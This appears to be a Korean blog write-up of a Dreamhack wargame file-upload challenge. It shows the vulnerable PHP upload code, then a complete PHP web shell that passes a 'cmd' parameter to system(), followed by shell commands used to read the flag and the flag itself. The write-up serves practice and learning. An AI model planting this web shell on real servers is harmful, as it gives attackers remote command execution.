웹서비스 분석

해당 웹서비스는 이용자가 임의의 파일을 올릴 수 있는 기능을 구현해두었다. 그리고 이용자가 파일을 업로드하면 List 탭에 이용자가 올린 파일이 업로드 되고, 해당 파일을 열람할 수 있다.
엔드포인트 분석
/list
<?php
$directory = './uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
}
?>
해당 코드는 이용자가 올린 파일을 열람할 수 있도록 구현한 코드이다. 하지만 파일들을 보여줄때 '..', '.', 'index.html 파일은 제외한다.
/upload
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_FILES)) {
$directory = './uploads/';
$file = $_FILES["file"];
$error = $file["error"];
$name = $file["name"];
$tmp_name = $file["tmp_name"];
if ( $error > 0 ) {
echo "Error: " . $error . "<br>";
}else {
if (file_exists($directory . $name)) {
echo $name . " already exists. ";
}else {
if(move_uploaded_file($tmp_name, $directory . $name)){
echo "Stored in: " . $directory . $name;
}
}
}
}else {
echo "Error !";
}
die();
}
?>
만약 파일이 업로드 되었다면, 경로는 ./uploads에 저장한다. 그리고 파일 정보를 추출한 뒤에 예외처리를 진행한다.
하지만 이 코드에서는 사용자가 업로드한 파일에 대한 검사를 일체 하지 않기 때문에 파일 업로드 취약점이 발생한다.
따라서 우리는 웹셸 업로드 공격을 통해 flag를 획득할 수 있을 것이다.
익스플로잇
upload 페이지에서 아래와 같은 웹 셸을 업로드 해준다.
// https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></pre></body></html>
업로드를 진행한 뒤에 list 페이지에서 확인하면, 성공적으로 웹셸이 작동되는 것을 확인할 수 있다.
$pwd
/var/www/html/uploads
$cd ../../../../; ls;
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$cd ../../../../; cat flag.txt
DH{c29f44ea17b29d8b76001f32e8997bab}
'CTF & Wargame(WEB)' 카테고리의 다른 글
| web-ssrf level 2 (0) | 2025.04.14 |
|---|---|
| [dreamhack] Beginner file-download-1 (0) | 2025.04.14 |
| [dreamhack] beginner command-injection-1 (0) | 2025.04.14 |
| [dreamhack] level 2 mango (0) | 2025.04.14 |
| [dreamhack] level 1 simple_sqli (blind_sqli 활용) (0) | 2025.04.14 |